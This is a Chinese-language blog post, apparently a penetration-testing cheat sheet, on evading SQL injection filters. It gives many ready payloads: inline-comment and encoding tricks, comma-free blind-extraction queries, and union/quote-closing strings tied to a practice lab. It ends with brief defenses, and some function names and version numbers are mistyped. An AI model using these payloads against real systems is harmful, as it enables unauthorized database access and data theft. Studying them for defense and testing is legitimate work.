SQL注入绕过
基本思路:
1、注释符
2、函数替换
3、编码(hex等)
过滤了空格
- /**/ 注释符
- /!**/ 内联注释绕过
当mysql>5.55.55时,只要语句在/*!*/之间,就等价于
/*!union*/=union
/*!select*/=select
/*!select * from xxx where id =1*/=select * from xxx where id =1
- %a0(空格) 括号() 特殊字符绕过
区分大小写过滤关键词
-
大小写关键字绕过
不区分大小写过滤关键词
- 双写绕过oorr
- 使用burp爆破关键词,查看是否有遗漏
- 使用等价函数
如substr()被过滤可以使用left(),sleeo()被过滤可使用benchmark()
过滤了引号
- 16进制编码绕过(不包括中文) select * from users where username=0x61646d696e
- ASCII编码绕过 admin可以拆分成concat(char(97),char(100),char(109),char(105),char(110))
- url编码绕过 这个有条件,前提时后端过滤以后进行url解码,这时候可以对"这些符号或者字符进行两次url编码
过滤了逗号
在使用盲注的时候,会使用到 substr 、substring() 、mid() 、limit 等函数。这些函数都需要用到逗号。如果只是过滤了逗号,则对于substr、substring() 和 mid() 这两个函数可以使用from for的方式来绕过。对于limit ,可以用 offset 绕过。substr、substring、mid三个函数的功能用法均一致。
// substr() 逗号绕过 select * from test where id=1 and (select ascii(substr(username,2,1)) from admin limit 1)>97; select * from test where id=1 and (select ascii(substr(username from 2 for 1))from admin limit 1)>97; // substring() 逗号绕过 select * from test where id=1 and (select ascii(substring(username,2,1)) from admin limit 1)>97; select * from test where id=1 and (select ascii(substring(username from 2 for 1))from admin limit 1)>97; // mid() 逗号绕过 select * from test where id=1 and (select ascii(mid(username,2,1)) from admin limit 1)>97; select * from test where id=1 and (select ascii(mid(username from 2 for 1))from admin limit 1)>97; // limit 逗号绕过 select * from test where id=1 limit 1,2; select * from test where id=1 limit 2 offset 1;
过滤了比较符
在使用盲注的时候,会用到二分法来比较操作符来进行操作。如果过滤了比较操作符,那么就需要使用到 greatest()和lease()来进行绕过。greatest()返回最大值,least()返回最小值。
greatest(n1,n2,n3.....)返回输入参数的最大值;
least(n1,n2,n3....)返回输入参数的最小值
select * from users where id=1 and ascii(substring(database(),0,1))>64; select * from users where id=1 and greatest(ascii(substring(database(),0,1)),64)>64; select * from users where id=1 and ascii(substring(database(),0,1))<64; select * from users where id=1 and least(ascii(substring(database(),0,1)),64)<64;
过滤了 or and xor not
and用 && 代替 ;or用 || 代替 ; xor用 | 代替 ; not用 ! 代替 ;
select * from users where id=1 and 1=2; select * from users where id=1 && 1=2; select * from users where id=1 or 1=2; select * from users where id=1 || 1=2;
绕过了注释符# -- -
- 通过闭合后面的引号进行绕过
- id=1' union select 1,2,3||'1
- union select 1,database(),3||'1
- id=1' union select 1,2,'3
- id=1' where '1'='1
- id=1' where '1
- id=1' and '1'='1
- Less-2?id=1' and 1=1 -- -
- Less-2?id=1' and '1'='1
- id=1' or '1'='1
- id=1' order by 1;%00
- 分号结尾 %00截断
- id=1' union select 1,2,3||'1
- %23 #
- ||' 仅限后面是单引号闭合的情况
过滤了=
- like:就是等于的意思
- rlike:就是里面含有这个
- regexp:和rlike一样,里面含有即可
SQL注入的防御
- 使用预编译语句,绑定变量
- 使用存储过程
- 检查数据类型
- 使用安全函数
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 一文读懂知识蒸馏
· 终于写完轮子一部分:tcp代理 了,记录一下